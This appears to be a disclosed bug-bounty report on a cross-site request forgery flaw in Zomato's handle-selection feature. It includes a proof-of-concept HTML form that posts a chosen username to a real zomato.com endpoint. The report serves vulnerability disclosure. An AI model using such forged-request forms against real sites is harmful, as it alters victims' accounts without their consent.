Eternal · Report #113857
CSRF AT SELECTING ZAMATO HANDLE
Validstatus
5upvotes
18 Mar 2016disclosed
How it was found
Hello,
Your Application Have Feature To Choose Zomato Handle
POC:-
<html> <body> <form action="https://www.zomato.com/php/username_selector.php" method="POST"> <input type="hidden" name="uname" value="googlessssssssssx" /> <input type="submit" value="Submit request" /> </form> </body> </html>Thanks!